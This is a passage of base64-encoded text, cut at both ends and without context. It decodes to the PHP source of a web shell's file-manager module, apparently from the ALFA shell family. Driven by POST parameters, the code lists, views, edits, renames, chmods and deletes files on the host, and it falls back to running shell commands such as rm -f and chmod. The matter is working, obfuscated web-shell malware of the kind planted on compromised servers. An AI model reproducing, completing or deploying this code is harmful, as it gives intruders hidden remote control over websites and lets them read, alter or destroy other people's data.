JBTFNbJ2N3ZCddLiRmaWxlbmFtZSkpOmFycmF5KCJuYW1lIiA9PiAiPz8/PyIpOyAgJGZpbGVfb3duZXIgPSAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTooZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AZmlsZW93bmVyKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOiI/Pz8/Iik7ICAkZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsgICRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGZpbGVuYW1lKSk7ICAkZmlsZV9wZXJtID0gYWxmYVBlcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk7ICAkZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOyAgJGZpbGVfcGF0aCA9ICRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWU7ICB9ICAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwgICdwYXRoJyA9PiAkZmlsZV9wYXRoLCAgJ21vZGlmeScgPT4gJGZpbGVfbW9kaWZ5LCAgJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLCAgJ3NpemUnID0+ICRmaWxlX3NpemUsICAnb3duZXInID0+ICRmaWxlX293bmVyLCAgJ2dyb3VwJyA9PiAkZmlsZV9ncm91cCAgKTsgIGlmKCEkY21kX2Rpcil7ICBpZihAaXNfZmlsZSgkZmlsZV9wYXRoKSkgICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOyAgZWxzZWlmKEBpc19saW5rKCRmaWxlX3BhdGgpKSAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7ICBlbHNlaWYoQGlzX2RpcigkZmlsZV9wYXRoKSYmICgkZmlsZW5hbWUgIT0gIi4iKSkgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsgIH1lbHNleyAgCWlmKCRkaXJDb250ZW50WyRpXVsidHlwZSJdPT0iZmlsZSIpeyAgICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOyAgCX1lbHNleyAgIGlmKCRkaXJDb250ZW50WyRpXVsibmFtZSJdICE9ICIuIil7ICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOyAgIH0gIAl9ICB9ICB9ICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7ICBmdW5jdGlvbiBhbGZhQ21wKCRhLCAkYikgeyAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpICByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7ICBlbHNlICByZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOyAgfSAgdXNvcnQoJGZpbGVzLCAiYWxmYUNtcCIpOyAgdXNvcnQoJGRpcnMsICJhbGZhQ21wIik7ICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsgICRsPTA7ICAkY2M9MDsgIGZvcmVhY2goJGZpbGVzIGFzICRmKXsgICRmWyduYW1lJ10gPSBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOyAgJG5ld25hbWUgPSBtYl9zdHJsZW4oJGZbJ25hbWUnXSwgJ1VURi04Jyk+NjA/bWJfc3Vic3RyKCRmWyduYW1lJ10sIDAsIDYwLCAndXRmLTgnKS4nLi4uJzokZlsnbmFtZSddOyAgJGNoZWNrYm94ID0gJ2NoZWNrYm94Jy4kY2M7ICAkcmF3X25hbWUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7ICAkaWNvbiA9ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT8nPGltZyBzcmM9IicuZmluZGljb24oJGZbJ25hbWUnXSwkZlsndHlwZSddKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic6Jyc7ICAkc3R5bGUgPSAkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10/J3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JvdHRvbToxMnB4Oyc6Jyc7ICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxkaXYgY2xhc3M9Im15Q2hlY2tib3giPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZltdIiB2YWx1ZT0iJy4kcmF3X25hbWUuJyIgY2xhc3M9ImNoa2J4IiBpZD0iJy4kY2hlY2tib3ggLiciPjxsYWJlbCBmb3I9IicuJGNoZWNrYm94IC4nIj48L2xhYmVsPjwvZGl2PjwvdGQ+PHRkPicuJGljb24uJzxkaXYgc3R5bGU9IicuJHN0eWxlLiciPjxhIGNsYXNzPSJtYWluX25hbWUiIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsXCdhdXRvXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKTsiPicuKCRHTE9CQUxTWydjd2QnXS4kZlsnbmFtZSddPT0kR0xPQkFMU1snX19maWxlX3BhdGgnXT8iPHNwYW4gY2xhc3M9J3NoZWxsX25hbWUnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIuJGZbJ25hbWUnXS4iPC9zcGFuPiI6aHRtbHNwZWNpYWxjaGFycygkbmV3bmFtZSkpOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyIgdGl0bGU9JyAuICRmWydsaW5rJ10gLiAnPjxiPnwgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIHw8L2I+JykuJzwvYT48L3RkPjwvZGl2Pjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9zaXplIj4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT9hbGZhU2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX21vZGlmeSI+Jy4kZlsnbW9kaWZ5J10uJzwvc3Bhbj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9vd25lcl9ncm91cCI+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvc3Bhbj48L3RkPjx0ZD48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsXCdjaG1vZFwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPicuICAkZlsncGVybXMnXS4nPC90ZD48dGQ+PGEgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuJHJhd19uYW1lLidcJywgXCdyZW5hbWVcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5SPC9hPiA8YSBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsIFwnZWRpdFwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPkU8L2E+IDxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLiRyYXdfbmFtZS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGaWxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsgICRsID0gJGw/MDoxOyAgJGNjKys7ICB9ICBlY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoKGlzc2V0KCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSkpLiInPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4KPHNlbGVjdCBpZD0ndG9vbHNfc2VsZWN0b3InIG5hbWU9J2FsZmExJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZScgc2VsZWN0ZWQ+RGVsZXRlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nemlwJz5BZGQgMiBDb21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5BZGQgMiBVbmNvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gWmlwIC8gVW56aXAgPC9vcHRpb24+PC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz4KPC9mb3JtPjwvdGFibGU+PC9kaXY+PC9kaXY+IjsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFGaWxlc1Rvb2xzKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyI+JzsgIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpJF9QT1NUWydhbGZhMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnYWxmYTEnXSk7ICAkYWxmYTFfZGVjb2RlZCA9ICRfUE9TVFsnYWxmYTEnXTsgICRjaGRpcl9mYWxzID0gZmFsc2U7ICBpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7ICAJJGNoZGlyX2ZhbHMgPSB0cnVlOyAgCSRfUE9TVFsnYWxmYTEnXSA9ICRfUE9TVFsiYyJdLiIvIi4kX1BPU1RbImFsZmExIl07ICAJJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsgIAlpZigkYWxmYV9jYW5ydW5jbWQpeyAgICRzbGFzaGVkX2FsZmExID0gYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pOyAgICRmaWxlX2luZm8gPSBleHBsb2RlKCI6IiwgYWxmYUV4KCdzdGF0IC1jICIlRjolVTolRzolczolWTowJWE6JUEiICInLiRzbGFzaGVkX2FsZmExLiciJykpOyAgICRwZXJtX2NvbG9yX2NsYXNzID0gYWxmYUV4KCJpZiBbWyAtdyAnIi4kc2xhc2hlZF9hbGZhMS4iJyBdXTsgdGhlbiBlY2hvIG1haW5fZ3JlZW5fcGVybTsgZWxpZiBbWyAtciAnIi4kc2xhc2hlZF9hbGZhMS4iJyBdXTsgdGhlbiBlY2hvIG1haW5fd2hpdGVfcGVybTsgZWxzZSBlY2hvIG1haW5fcmVkX3Blcm07IGZpIik7ICAJfSAgfSAgaWYoJF9QT1NUWydhbGZhMiddID09ICdhdXRvJyl7ICBpZihpc19hcnJheShAZ2V0aW1hZ2VzaXplKCRfUE9TVFsnYWxmYTEnXSkpKXsgICRfUE9TVFsnYWxmYTInXSA9ICdpbWFnZSc7ICB9ZWxzZXsgIAkkX1BPU1RbJ2FsZmEyJ10gPSAndmlldyc7ICAJaWYoJGNoZGlyX2ZhbHMpeyAgIGlmKCRhbGZhX2NhbnJ1bmNtZCl7ICAgJG1pbWUgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMSddKS4iJyIpKTsgICAkbWltZXR5cGUgPSAkbWltZVsxXTsgICBpZighZW1wdHkoJG1pbWV0eXBlKSl7ICAgaWYoc3Ryc3RyKCRtaW1ldHlwZSwgImltYWdlIikpeyAgICRfUE9TVFsnYWxmYTInXSA9ICdpbWFnZSc7ICAgfSAgIH0gICB9ICAJfSAgfSAgfSAgaWYoJF9QT1NUWydhbGZhMiddID09ICJyZW5hbWUiICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pICYmIEBpc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXskcmVuYW1lX2NhY2hlID0gJF9QT1NUWydhbGZhMyddO30gIGlmKEAkX1BPU1RbJ2FsZmEyJ10gPT0gJ21rZmlsZScpeyAgJF9QT1NUWydhbGZhMSddID0gdHJpbSgkX1BPU1RbJ2FsZmExJ10pOyAgaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7ICAJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWyJjIl0pKXsgICBhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7ICAgJF9QT1NUWydhbGZhMiddID0gImVkaXQiOyAgCX0gIH0gIGlmKCFAZmlsZV9leGlzdHMoJF9QT1NUWydhbGZhMSddKSl7ICAkZnAgPSBAZm9wZW4oJF9QT1NUWydhbGZhMSddLCAndycpOyAgaWYoJGZwKXsgICRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsgIGZjbG9zZSgkZnApOyAgfSAgfWVsc2V7ICAkX1BPU1RbJ2FsZmEyJ10gPSAiZWRpdCI7ICB9ICB9ICBpZighX2FsZmFfZmlsZV9leGlzdHMoQCRfUE9TVFsnYWxmYTEnXSkpeyAgZWNobyBfX3ByZSgpLiI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+PGZvbnQgY29sb3I9J3JlZCc+IS4uLkZJTEUgRE9FU1QgTk9UIEVYSVRTLi4uITwvZm9udD48L2Rpdj48L3A+PC9jZW50ZXI+PC9kaXY+PHNjcmlwdD5lZGl0b3JfZXJyb3I9ZmFsc2U7cmVtb3ZlSGlzdG9yeSgnIi4kX1BPU1RbJ2FsZmE0J10uIicpOzwvc2NyaXB0PiI7ICBhbGZhRm9vdGVyKCk7ICByZXR1cm47ICB9ICBpZigkY2hkaXJfZmFscyl7ICAkZmlsZXNpemUgPSAkZmlsZV9pbmZvWzNdOyAgJHVpZFsibmFtZSJdID0gJGZpbGVfaW5mb1sxXTsgICRnaWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMl07ICAkcGVybWNvbG9yID0gYWxmYVBlcm1zQ29sb3IoYXJyYXkoImNsYXNzIj0+JHBlcm1fY29sb3JfY2xhc3MsIm51bSI9PiRmaWxlX2luZm9bNV0sImh1bWFuIj0+JGZpbGVfaW5mb1s2XSksdHJ1ZSk7ICB9ZWxzZXskdWlkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsnYWxmYTEnXSkpOicnOyRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKSk6Jyc7aWYoISR1aWQmJiEkZ2lkKXskdWlkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0BmaWxlb3duZXIoJF9QT1NUWydhbGZhMSddKTonJzskZ2lkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKTonJzt9JHBlcm1jb2xvciA9IGFsZmFQZXJtc0NvbG9yKCRfUE9TVFsnYWxmYTEnXSk7JGZpbGVzaXplID0gQGZpbGVzaXplKCRfUE9TVFsnYWxmYTEnXSk7aWYoIWlzc2V0KCR1aWRbJ25hbWUnXSwkZ2lkWyduYW1lJ10pfHxlbXB0eSgkdWlkWyduYW1lJ10pfHxlbXB0eSgkZ2lkWyduYW1lJ10pKXtpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpKXtsaXN0KCR1aWRbJ25hbWUnXSwkZ2lkWyduYW1lJ10pID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgnc3RhdCAtYyAiJVU6JUciICInLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiYWxmYTEiXSkuJyInKSk7fX19ICBlY2hvICc8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRhbGZhMV9kZWNvZGVkKS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPlNpemU6PC9zcGFuPiAnLmFsZmFTaXplKCRmaWxlc2l6ZSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy4kcGVybWNvbG9yLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+RGlyZWN0b3J5Ojwvc3Bhbj4gJy5zdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFsnYyddLicvJykuJF9QT1NUWydhbGZhMSddKS4nPGJyPjxicj4nOyAgaWYoZW1wdHkoJF9QT1NUWydhbGZhMiddKSkkX1BPU1RbJ2FsZmEyJ10gPSAndmlldyc7ICBpZighX2FsZmFfaXNfZGlyKCRfUE9TVFsnYWxmYTEnXSkpeyAgJG0gPSBhcnJheSgnVmlldycsICdFZGl0JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZXRlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsgICRmdHlwZSA9ICJmaWxlIjsgIH1lbHNleyAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7ICAkZnR5cGUgPSAiZGlyIjsgIH0gIGZvcmVhY2goJG0gYXMgJHYpICBlY2hvICR2ID09ICdEZWxldGUnID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9InZhciBjaGs9Y29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlIFRoaXMgRmlsZSA/XCcpO2Noaz9lZGl0b3IoXCcnLmFkZHNsYXNoZXMoIWlzc2V0KCRyZW5hbWVfY2FjaGUpPyRfUE9TVFsnYWxmYTEnXTokcmVuYW1lX2NhY2hlKS4nXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJyxcJ1wnLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpOlwnXCc7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsnYWxmYTInXSk/JzxiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+ICcuJHYuJyA8L3NwYW4+IDwvYj4nOiR2KS4nIHwgPC9zcGFuPjwvYT4gJyA6ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLmFkZHNsYXNoZXMoIWlzc2V0KCRyZW5hbWVfY2FjaGUpPyRfUE9TVFsnYWxmYTEnXTokcmVuYW1lX2NhY2hlKS4nXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJyxcJ1wnLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpIj48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsnYWxmYTInXSk/JzxiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+ICcuJHYuJyA8L3NwYW4+IDwvYj4nOiR2KS4nIHwgPC9zcGFuPjwvYT4nOyAgZWNobyAnPGJyPjxicj4nOyAgc3dpdGNoKCRfUE9TVFsnYWxmYTInXSl7ICBjYXNlICd2aWV3JzogIEBjaGRpcigkX1BPU1RbJ2MnXSk7ICBlY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48cD48YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBjbGFzcz0iYnV0dG9uIiBvbkNsaWNrPSJjb3B5VG9DbGlwYm9hcmQoXCd2aWV3X21sX2NvbnRlbnRcJyk7Ij5jb3B5IHRvIGNsaXBib2FyZDwvYnV0dG9uPjwvcD48cHJlIGNsYXNzPSJtbDEiIGlkPSJ2aWV3X21sX2NvbnRlbnQiPic7ICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoX19yZWFkX2ZpbGUoJF9QT1NUWydhbGZhMSddKSk7ICBlY2hvICc8L3ByZT48L2Rpdj48L2Rpdj4nOyAgYnJlYWs7ICBjYXNlICdoaWdobGlnaHQnOiAgQGNoZGlyKCRfUE9TVFsnYyddKTsgIGlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsgIGVjaG8gJzxkaXYgY2xhc3M9ImVkaXRvci12aWV3Ij48ZGl2IGNsYXNzPSJ2aWV3LWNvbnRlbnQiPjxkaXYgY2xhc3M9Im1sMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOyAgJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydhbGZhMSddLHRydWUpOyAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsgIH0gIGJyZWFrOyAgY2FzZSAnZGVsZXRlJzogIEBjaGRpcigkX1BPU1RbJ2MnXSk7ICBpZihAaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKXx8aXNzZXQoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSkpeyAgJGRlbGV0ZWQgPSB0cnVlOyAgaWYoIUB1bmxpbmsoJF9QT1NUWydhbGZhMSddKSl7ICAJJGRlbGV0ZWQgPSBmYWxzZTsgIAlpZigkYWxmYV9jYW5ydW5jbWQpeyAgIGlmKF9hbGZhX2lzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkpeyAgIGFsZmFFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLiInIik7ICAgJGRlbGV0ZWQgPSB0cnVlOyAgIH0gIAl9ICB9ICBpZigkZGVsZXRlZCllY2hvICdGaWxlIERlbGV0ZWQuLi48c2NyaXB0PnZhciBlbGVtID0gJCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLnBhcmVudE5vZGU7ZWxlbS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGVsZW0pO2RlbGV0ZSBlZGl0b3JfZmlsZXNbIicuJF9QT1NUWydhbGZhNCddLiciXTs8L3NjcmlwdD4nO2Vsc2UgZWNobyAnRXJyb3IuLi4nO30gIGJyZWFrOyAgY2FzZSAnY2htb2QnOiAgQGNoZGlyKCRfUE9TVFsnYyddKTsgIGlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsgICRwZXJtcyA9IDA7ICBmb3IoJGk9c3RybGVuKCRfUE9TVFsnYWxmYTMnXSktMTskaT49MDstLSRpKSAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydhbGZhMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLSRpLTEpKTsgIGlmKCFAY2htb2QoJF9QT1NUWydhbGZhMSddLCAkcGVybXMpKXsgIGlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpeyAgYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7ICBlY2hvKCdTdWNjZXNzIScpOyAgfWVsc2V7ICBlY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fSAgfWVsc2V7ZWNobygnU3VjY2VzcyEnKTt9ICB9ICBjbGVhcnN0YXRjYWNoZSgpOyAgaWYoJGNoZGlyX2ZhbHMpeyAgCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOyAgfWVsc2V7ICAJJGZpbGVfcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJF9QT1NUWydhbGZhMSddKSksLTQpOyAgfSAgZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImVkaXRvcihcJycuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLmNobW9kLnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjaG1vZCIgdmFsdWU9IicuJGZpbGVfcGVybS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAiPjwvZm9ybT4nOyAgYnJlYWs7ICBjYXNlICdlZGl0JzogIEBjaGRpcigkX1BPU1RbJ2MnXSk7ICBpZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkmJiFfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7ICBicmVhaz